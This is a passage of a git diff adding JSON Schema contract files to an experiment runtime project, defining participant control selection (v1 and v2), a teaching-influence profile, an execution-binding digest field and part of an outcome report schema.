Depth", + "type": "integer" + }, + "max_effects": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Effects", + "type": "integer" + }, + "max_fanout": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Fanout", + "type": "integer" + }, + "max_firings_per_rule": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Firings Per Rule", + "type": "integer" + } + }, + "required": [ + "max_depth", + "max_effects", + "max_fanout", + "max_firings_per_rule", + "max_attempts", + "expires_at_order" + ], + "title": "ControlCausalBoundsModel", + "type": "object" + }, + "ControlMechanismBindingModel": { + "additionalProperties": false, + "properties": { + "applicability": { + "items": { + "$ref": "#/$defs/ControlApplicabilityModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Applicability", + "type": "array" + }, + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "configuration_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Configuration Digest", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "implementation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "limitations": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Limitations", + "type": "array" + }, + "mechanism": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "memory_scope": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "profiles": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Profiles", + "type": "array" + }, + "protocol_revision": { + "const": "participant-control-provider/v1", + "title": "Protocol Revision", + "type": "string" + } + }, + "required": [ + "instance_id", + "profiles", + "mechanism", + "protocol_revision", + "implementation", + "configuration_digest", + "authority", + "memory_scope", + "applicability", + "evidence", + "limitations" + ], + "title": "ControlMechanismBindingModel", + "type": "object" + }, + "ControlResultSlotModel": { + "additionalProperties": false, + "properties": { + "dependencies": { + "items": { + "$ref": "#/$defs/ControlSlotDependencyModel" + }, + "maxItems": 256, + "title": "Dependencies", + "type": "array" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "role": { + "enum": [ + "mandatory", + "advisory" + ], + "title": "Role", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "instance_id", + "kind", + "role", + "dependencies" + ], + "title": "ControlResultSlotModel", + "type": "object" + }, + "ControlSlotDependencyModel": { + "additionalProperties": false, + "properties": { + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "kind" + ], + "title": "ControlSlotDependencyModel", + "type": "object" + }, + "ParticipantCrossingSubjectKind": { + "description": "Closed typed references to incumbent participant and evidence carriers.", + "enum": [ + "participant-control-occurrence", + "participant-action-contract", + "participant-action-admission", + "participant-action-attempt", + "participant-action-result", + "participant-lifecycle-event", + "participant-observation", + "participant-decision-surface", + "participant-exposure", + "participant-inject-delivery", + "participant-context-view", + "participant-history-view", + "participant-status-view", + "experiment-evidence" + ], + "title": "ParticipantCrossingSubjectKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/participant-control-selection-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Exact finite selection; this document cannot install a provider.", + "properties": { + "apparatus": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "bindings": { + "items": { + "$ref": "#/$defs/ControlMechanismBindingModel" + }, + "maxItems": 64, + "title": "Bindings", + "type": "array" + }, + "bounds": { + "$ref": "#/$defs/ControlCausalBoundsModel" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "required_profiles": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Required Profiles", + "type": "array" + }, + "schema_version": { + "const": "participant-control-selection/v1", + "title": "Schema Version", + "type": "string" + }, + "selection_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Selection Id", + "type": "string" + }, + "semantic_revision": { + "const": "sem-235/rev1", + "title": "Semantic Revision", + "type": "string" + }, + "slots": { + "items": { + "$ref": "#/$defs/ControlResultSlotModel" + }, + "maxItems": 256, + "title": "Slots", + "type": "array" + } + }, + "required": [ + "schema_version", + "selection_id", + "semantic_revision", + "apparatus", + "required_profiles", + "bindings", + "slots", + "bounds", + "evidence" + ], + "title": "ParticipantControlSelectionModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate closed selection dependencies and exact trusted evaluation context; structural validity is not execution authority.", + "id": "participant-control-selection-graph", + "inputs": [ + { + "contract_id": "participant-control-selection-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ParticipantControlSelectionModel.model_validate" + } + ], + "x-raes-plane": "processor_backend_operational_observability", + "x-raes-semantic-profile": { + "contract_id": "participant-control-selection-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/participant-runtime/participant-control-selection-v2.json b/contracts/schemas/participant-runtime/participant-control-selection-v2.json new file mode 100644 index 000000000..252c4d9fe --- /dev/null +++ b/contracts/schemas/participant-runtime/participant-control-selection-v2.json @@ -0,0 +1,600 @@ +{ + "$defs": { + "ControlApplicabilityModel": { + "additionalProperties": false, + "properties": { + "direction": { + "enum": [ + "ingress", + "egress" + ], + "title": "Direction", + "type": "string" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "phase_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Phase Ref", + "type": "string" + }, + "sink_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Sink Ref", + "type": "string" + }, + "subject_kind": { + "$ref": "#/$defs/ParticipantCrossingSubjectKind" + } + }, + "required": [ + "participant_address", + "episode_id", + "direction", + "sink_ref", + "phase_ref", + "subject_kind" + ], + "title": "ControlApplicabilityModel", + "type": "object" + }, + "ControlArtifactReferenceModel": { + "additionalProperties": false, + "description": "Exact out-of-line artifact coordinate, not an artifact/evidence payload.", + "properties": { + "digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Digest", + "type": "string" + }, + "kind": { + "enum": [ + "profile", + "mechanism", + "implementation", + "authority", + "evidence", + "limitation", + "memory", + "apparatus", + "run", + "crossing", + "history", + "provider-state", + "input", + "clock", + "trigger", + "rule", + "inject-delivery", + "disclosure", + "manifest", + "installation", + "control", + "transformation", + "action", + "lifecycle", + "audit", + "receipt", + "projection", + "policy", + "constraint", + "flow-relation" + ], + "title": "Kind", + "type": "string" + }, + "ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Ref", + "type": "string" + }, + "revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Revision", + "type": "string" + } + }, + "required": [ + "kind", + "ref", + "revision", + "digest" + ], + "title": "ControlArtifactReferenceModel", + "type": "object" + }, + "ControlCausalBoundsModel": { + "additionalProperties": false, + "properties": { + "expires_at_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expires At Order", + "type": "integer" + }, + "max_attempts": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Attempts", + "type": "integer" + }, + "max_depth": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Depth", + "type": "integer" + }, + "max_effects": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Effects", + "type": "integer" + }, + "max_fanout": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Fanout", + "type": "integer" + }, + "max_firings_per_rule": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Firings Per Rule", + "type": "integer" + } + }, + "required": [ + "max_depth", + "max_effects", + "max_fanout", + "max_firings_per_rule", + "max_attempts", + "expires_at_order" + ], + "title": "ControlCausalBoundsModel", + "type": "object" + }, + "ControlMechanismBindingV2Model": { + "additionalProperties": false, + "properties": { + "applicability": { + "items": { + "$ref": "#/$defs/ControlApplicabilityModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Applicability", + "type": "array" + }, + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "configuration_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Configuration Digest", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "implementation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "limitations": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Limitations", + "type": "array" + }, + "mechanism": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "memory_scope": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "profiles": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Profiles", + "type": "array" + }, + "protocol_revision": { + "const": "participant-control-provider/v2", + "title": "Protocol Revision", + "type": "string" + }, + "state_scope": { + "$ref": "#/$defs/ControlStateScopeV2Model" + } + }, + "required": [ + "instance_id", + "profiles", + "mechanism", + "protocol_revision", + "implementation", + "configuration_digest", + "authority", + "memory_scope", + "applicability", + "evidence", + "limitations", + "state_scope" + ], + "title": "ControlMechanismBindingV2Model", + "type": "object" + }, + "ControlProfileObligationV2Model": { + "additionalProperties": false, + "description": "Profile-owned obligation declared before any provider result exists.", + "properties": { + "constraints": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Constraints", + "type": "array" + }, + "obligation_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Obligation Id", + "type": "string" + }, + "profile": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "required_kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Required Kind", + "type": "string" + }, + "required_strength": { + "enum": [ + "exact", + "bounded", + "disclosed_weak" + ], + "title": "Required Strength", + "type": "string" + } + }, + "required": [ + "obligation_id", + "profile", + "required_kind", + "required_strength", + "constraints" + ], + "title": "ControlProfileObligationV2Model", + "type": "object" + }, + "ControlResultSlotV2Model": { + "additionalProperties": false, + "description": "Admitted required-input support pin, independent of provider claims.", + "properties": { + "constraints": { + "default": [], + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Constraints", + "type": "array" + }, + "dependencies": { + "items": { + "$ref": "#/$defs/ControlSlotDependencyModel" + }, + "maxItems": 256, + "title": "Dependencies", + "type": "array" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "required_strength": { + "default": "exact", + "enum": [ + "exact", + "bounded", + "disclosed_weak" + ], + "title": "Required Strength", + "type": "string" + }, + "role": { + "enum": [ + "mandatory", + "advisory" + ], + "title": "Role", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "instance_id", + "kind", + "role", + "dependencies" + ], + "title": "ControlResultSlotV2Model", + "type": "object" + }, + "ControlSlotDependencyModel": { + "additionalProperties": false, + "properties": { + "kind": { + "enum": [ + "ifc-fact", + "decision", + "advisory", + "effect-request" + ], + "title": "Kind", + "type": "string" + }, + "slot_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot Id", + "type": "string" + } + }, + "required": [ + "slot_id", + "kind" + ], + "title": "ControlSlotDependencyModel", + "type": "object" + }, + "ControlStateScopeV2Model": { + "additionalProperties": false, + "description": "Admitted sharing scope, distinct from participant memory and profile.", + "properties": { + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "configuration_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Configuration Digest", + "type": "string" + }, + "scope_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Scope Id", + "type": "string" + }, + "sharing": { + "enum": [ + "run", + "participant", + "episode" + ], + "title": "Sharing", + "type": "string" + } + }, + "required": [ + "scope_id", + "sharing", + "authority", + "configuration_digest" + ], + "title": "ControlStateScopeV2Model", + "type": "object" + }, + "ParticipantCrossingSubjectKind": { + "description": "Closed typed references to incumbent participant and evidence carriers.", + "enum": [ + "participant-control-occurrence", + "participant-action-contract", + "participant-action-admission", + "participant-action-attempt", + "participant-action-result", + "participant-lifecycle-event", + "participant-observation", + "participant-decision-surface", + "participant-exposure", + "participant-inject-delivery", + "participant-context-view", + "participant-history-view", + "participant-status-view", + "experiment-evidence" + ], + "title": "ParticipantCrossingSubjectKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/participant-control-selection-v2.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Complete B; no exact-cut filtering changes this identity.", + "properties": { + "apparatus": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "bindings": { + "items": { + "$ref": "#/$defs/ControlMechanismBindingV2Model" + }, + "maxItems": 64, + "title": "Bindings", + "type": "array" + }, + "bounds": { + "$ref": "#/$defs/ControlCausalBoundsModel" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "interpretation": { + "const": "participant-control-applicability/rev1", + "title": "Interpretation", + "type": "string" + }, + "obligations": { + "items": { + "$ref": "#/$defs/ControlProfileObligationV2Model" + }, + "maxItems": 256, + "title": "Obligations", + "type": "array" + }, + "required_profiles": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Required Profiles", + "type": "array" + }, + "schema_version": { + "const": "participant-control-selection/v2", + "title": "Schema Version", + "type": "string" + }, + "selection_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Selection Id", + "type": "string" + }, + "semantic_revision": { + "const": "sem-235/rev1", + "title": "Semantic Revision", + "type": "string" + }, + "slots": { + "items": { + "$ref": "#/$defs/ControlResultSlotV2Model" + }, + "maxItems": 256, + "title": "Slots", + "type": "array" + } + }, + "required": [ + "schema_version", + "selection_id", + "semantic_revision", + "apparatus", + "required_profiles", + "bindings", + "slots", + "bounds", + "evidence", + "interpretation", + "obligations" + ], + "title": "ParticipantControlSelectionV2Model", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate closed selection dependencies and exact trusted evaluation context; structural validity is not execution authority.", + "id": "participant-control-selection-graph", + "inputs": [ + { + "contract_id": "participant-control-selection-v2", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ParticipantControlSelectionV2Model.model_validate" + } + ], + "x-raes-plane": "processor_backend_operational_observability", + "x-raes-semantic-profile": { + "contract_id": "participant-control-selection-v2", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/participant-runtime/participant-control-teaching-profile-v1.json b/contracts/schemas/participant-runtime/participant-control-teaching-profile-v1.json new file mode 100644 index 000000000..b8f5ac042 --- /dev/null +++ b/contracts/schemas/participant-runtime/participant-control-teaching-profile-v1.json @@ -0,0 +1,111 @@ +{ + "$id": "https://openrae.github.io/rae/schemas/participant-control-teaching-profile-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "properties": { + "domain": { + "const": "teaching-influence-domain/rev1", + "title": "Domain", + "type": "string" + }, + "join": { + "const": "union", + "title": "Join", + "type": "string" + }, + "memory": { + "const": "retain-across-episodes", + "title": "Memory", + "type": "string" + }, + "order": { + "const": "subset", + "title": "Order", + "type": "string" + }, + "profile_id": { + "const": "teaching-influence", + "title": "Profile Id", + "type": "string" + }, + "profile_revision": { + "const": "rev1", + "title": "Profile Revision", + "type": "string" + }, + "release": { + "const": "none", + "title": "Release", + "type": "string" + }, + "schema_version": { + "const": "participant-control-teaching-profile/v1", + "title": "Schema Version", + "type": "string" + }, + "semantic_revision": { + "const": "sem-235/rev1", + "title": "Semantic Revision", + "type": "string" + }, + "sinks": { + "maxItems": 2, + "minItems": 2, + "prefixItems": [ + { + "const": "practice-action", + "type": "string" + }, + { + "const": "teaching-observation", + "type": "string" + } + ], + "title": "Sinks", + "type": "array" + }, + "tokens": { + "maxItems": 2, + "minItems": 2, + "prefixItems": [ + { + "const": "coached-hint", + "type": "string" + }, + { + "const": "worked-example", + "type": "string" + } + ], + "title": "Tokens", + "type": "array" + }, + "trigger_rule": { + "const": "hint-followup/1", + "title": "Trigger Rule", + "type": "string" + }, + "unknown_source": { + "const": "unknown", + "title": "Unknown Source", + "type": "string" + } + }, + "required": [ + "schema_version", + "profile_id", + "profile_revision", + "semantic_revision", + "domain", + "tokens", + "order", + "join", + "unknown_source", + "memory", + "release", + "sinks", + "trigger_rule" + ], + "title": "ParticipantControlTeachingProfileModel", + "type": "object" +} diff --git a/contracts/schemas/participant-runtime/participant-execution-binding-v1.json b/contracts/schemas/participant-runtime/participant-execution-binding-v1.json index 54e912725..aa1a6189b 100644 --- a/contracts/schemas/participant-runtime/participant-execution-binding-v1.json +++ b/contracts/schemas/participant-runtime/participant-execution-binding-v1.json @@ -67,6 +67,17 @@ "title": "Target Addresses", "type": "array" }, + "temporal_contract_digests": { + "default": [], + "items": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + "maxItems": 256, + "title": "Temporal Contract Digests", + "type": "array" + }, "timeout_seconds": { "minimum": 1, "title": "Timeout Seconds", diff --git a/contracts/schemas/participant-runtime/participant-outcome-report-v2.json b/contracts/schemas/participant-runtime/participant-outcome-report-v2.json new file mode 100644 index 000000000..6fe9c6c3f --- /dev/null +++ b/contracts/schemas/participant-runtime/participant-outcome-report-v2.json @@ -0,0 +1,1242 @@ +{ + "$defs": { + "EventClassificationModel": { + "additionalProperties": false, + "description": "RAES-native normalized event classification tuple (ADR-054).", + "properties": { + "activity_id": { + "title": "Activity Id", + "type": "integer" + }, + "activity_name": { + "minLength": 1, + "title": "Activity Name", + "type": "string" + }, + "category_name": { + "minLength": 1, + "title": "Category Name", + "type": "string" + }, + "category_uid": { + "title": "Category Uid", + "type": "integer" + }, + "class_name": { + "minLength": 1, + "title": "Class Name", + "type": "string" + }, + "class_uid": { + "title": "Class Uid", + "type": "integer" + }, + "severity": { + "minLength": 1, + "title": "Severity", + "type": "string" + }, + "severity_id": { + "title": "Severity Id", + "type": "integer" + }, + "type_name": { + "minLength": 1, + "title": "Type Name", + "type": "string" + }, + "type_uid": { + "title": "Type Uid", + "type": "integer" + } + }, + "required": [ + "category_uid", + "category_name", + "class_uid", + "class_name", + "activity_id", + "activity_name", + "type_uid", + "type_name", + "severity_id", + "severity" + ], + "title": "EventClassificationModel", + "type": "object" + }, + "LocalOutcomeCriterion": { + "additionalProperties": false, + "description": "An explicitly declared realized effect, never an action status shortcut.", + "properties": { + "criterion_id": { + "minLength": 1, + "pattern": "\\S", + "title": "Criterion Id", + "type": "string" + }, + "effect_id": { + "minLength": 1, + "pattern": "\\S", + "title": "Effect Id", + "type": "string" + }, + "source_id": { + "minLength": 1, + "pattern": "\\S", + "title": "Source Id", + "type": "string" + } + }, + "required": [ + "criterion_id", + "source_id", + "effect_id" + ], + "title": "LocalOutcomeCriterion", + "type": "object" + }, + "LocalOutcomeDefinition": { + "additionalProperties": false, + "description": "All criteria must be evidenced; contradictory observations need correction.", + "properties": { + "category": { + "enum": [ + "task_completion", + "effect_realization" + ], + "title": "Category", + "type": "string" + }, + "conflict_policy": { + "const": "retain_until_explicit_correction", + "title": "Conflict Policy", + "type": "string" + }, + "criteria": { + "items": { + "$ref": "#/$defs/LocalOutcomeCriterion" + }, + "minItems": 1, + "title": "Criteria", + "type": "array" + }, + "criterion_basis": { + "minLength": 1, + "pattern": "\\S", + "title": "Criterion Basis", + "type": "string" + }, + "episode_policy": { + "const": "reset_without_transfer", + "title": "Episode Policy", + "type": "string" + }, + "freshness_policy": { + "const": "exact_observation_cut", + "title": "Freshness Policy", + "type": "string" + }, + "model_version": { + "const": "1.0.0", + "title": "Model Version", + "type": "string" + } + }, + "required": [ + "model_version", + "category", + "criterion_basis", + "criteria", + "conflict_policy", + "freshness_policy", + "episode_policy" + ], + "title": "LocalOutcomeDefinition", + "type": "object" + }, + "OutcomeInterpretationParticipantScope": { + "description": "Allowed participant scope for SEM-215 interpretation rules.", + "enum": [ + "participant_local" + ], + "title": "OutcomeInterpretationParticipantScope", + "type": "string" + }, + "OutcomeInterpretationRule": { + "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "target_bindings": { + "minItems": 1 + } + } + }, + "if": { + "properties": { + "local_outcome": { + "type": "object" + } + }, + "required": [ + "local_outcome" + ] + }, + "then": { + "properties": { + "semantic_version": { + "const": "2.0.0" + } + } + } + } + ], + "description": "Explicit SEM-215 rule relating participant-local outcomes to meaning layers.", + "properties": { + "diagnostics": { + "items": { + "type": "string" + }, + "title": "Diagnostics", + "type": "array" + }, + "evidence_refs": { + "items": { + "type": "string" + }, + "minItems": 1, + "title": "Evidence Refs", + "type": "array" + }, + "interpretation_basis": { + "title": "Interpretation Basis", + "type": "string" + }, + "limitations": { + "items": { + "type": "string" + }, + "minItems": 1, + "title": "Limitations", + "type": "array" + }, + "local_outcome": { + "anyOf": [ + { + "$ref": "#/$defs/LocalOutcomeDefinition" + }, + { + "type": "null" + } + ], + "default": null + }, + "observation_point_basis": { + "title": "Observation Point Basis", + "type": "string" + }, + "participant_scope": { + "$ref": "#/$defs/OutcomeInterpretationParticipantScope" + }, + "semantic_version": { + "title": "Semantic Version", + "type": "string" + }, + "source_bindings": { + "items": { + "$ref": "#/$defs/OutcomeInterpretationSourceBinding" + }, + "minItems": 1, + "title": "Source Bindings", + "type": "array" + }, + "target_bindings": { + "items": { + "$ref": "#/$defs/OutcomeInterpretationTargetBinding" + }, + "title": "Target Bindings", + "type": "array" + } + }, + "required": [ + "semantic_version", + "participant_scope", + "observation_point_basis", + "interpretation_basis", + "source_bindings", + "target_bindings", + "evidence_refs", + "limitations" + ], + "title": "OutcomeInterpretationRule", + "type": "object" + }, + "OutcomeInterpretationSourceBinding": { + "additionalProperties": false, + "description": "Declared input to a participant outcome interpretation rule.", + "properties": { + "diagnostics": { + "items": { + "type": "string" + }, + "title": "Diagnostics", + "type": "array" + }, + "evidence_refs": { + "items": { + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" + }, + "interpretation_role": { + "title": "Interpretation Role", + "type": "string" + }, + "provenance_refs": { + "items": { + "type": "string" + }, + "title": "Provenance Refs", + "type": "array" + }, + "ref": { + "title": "Ref", + "type": "string" + }, + "source_id": { + "title": "Source Id", + "type": "string" + }, + "source_layer": { + "$ref": "#/$defs/OutcomeInterpretationSourceLayer" + } + }, + "required": [ + "source_id", + "source_layer", + "ref", + "interpretation_role" + ], + "title": "OutcomeInterpretationSourceBinding", + "type": "object" + }, + "OutcomeInterpretationSourceLayer": { + "description": "Semantic layers that may feed a SEM-215 interpretation rule.", + "enum": [ + "participant_action_outcome", + "participant_episode_status", + "objective_result", + "workflow_result", + "evaluation_result", + "evidence_claim", + "reward_signal", + "benchmark_milestone", + "subtask", + "gold_step", + "human_assistance", + "scaffold_variant", + "cost_resource_telemetry", + "privacy_redaction_result" + ], + "title": "OutcomeInterpretationSourceLayer", + "type": "string" + }, + "OutcomeInterpretationTargetBinding": { + "additionalProperties": false, + "description": "Declared output relation from a participant outcome interpretation rule.", + "properties": { + "diagnostics": { + "items": { + "type": "string" + }, + "title": "Diagnostics", + "type": "array" + }, + "evidence_refs": { + "items": { + "type": "string" + }, + "title": "Evidence Refs", + "type": "array" + }, + "governance_ref": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Governance Ref" + }, + "limitations": { + "items": { + "type": "string" + }, + "title": "Limitations", + "type": "array" + }, + "ref": { + "title": "Ref", + "type": "string" + }, + "relation": { + "title": "Relation", + "type": "string" + }, + "target_id": { + "title": "Target Id", + "type": "string" + }, + "target_layer": { + "$ref": "#/$defs/OutcomeInterpretationTargetLayer" + } + }, + "required": [ + "target_id", + "target_layer", + "ref", + "relation" + ], + "title": "OutcomeInterpretationTargetBinding", + "type": "object" + }, + "OutcomeInterpretationTargetLayer": { + "description": "Semantic layers a SEM-215 interpretation rule may explicitly produce.", + "enum": [ + "scenario_meaning", + "objective_result", + "workflow_result", + "evaluation_result", + "evidence_claim", + "reward_signal", + "benchmark_progress", + "privacy_redaction_result" + ], + "title": "OutcomeInterpretationTargetLayer", + "type": "string" + }, + "ParticipantOutcomeObservationRefModel": { + "additionalProperties": false, + "description": "An exact, immutable observation in the participant behavior history.", + "properties": { + "action_instance_id": { + "minLength": 1, + "title": "Action Instance Id", + "type": "string" + }, + "content_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Content Digest", + "type": "string" + }, + "observation_point": { + "minLength": 1, + "title": "Observation Point", + "type": "string" + } + }, + "required": [ + "action_instance_id", + "observation_point", + "content_digest" + ], + "title": "ParticipantOutcomeObservationRefModel", + "type": "object" + }, + "ParticipantOutcomeReportStateRelationshipModel": { + "additionalProperties": false, + "description": "Declared relationship between an outcome report and downstream state.", + "properties": { + "relationship_basis": { + "enum": [ + "declared", + "interpretation_rule" + ], + "title": "Relationship Basis", + "type": "string" + }, + "relationship_kind": { + "enum": [ + "scenario_state", + "workflow_state", + "objective_window", + "evaluation_input" + ], + "title": "Relationship Kind", + "type": "string" + }, + "target_ref": { + "minLength": 1, + "title": "Target Ref", + "type": "string" + } + }, + "required": [ + "relationship_kind", + "target_ref", + "relationship_basis" + ], + "title": "ParticipantOutcomeReportStateRelationshipModel", + "type": "object" + }, + "RawDataIntegrityModel": { + "additionalProperties": false, + "description": "Hash, size, and truncation facts for raw data behind a runtime claim.", + "properties": { + "raw_data_hash": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Raw Data 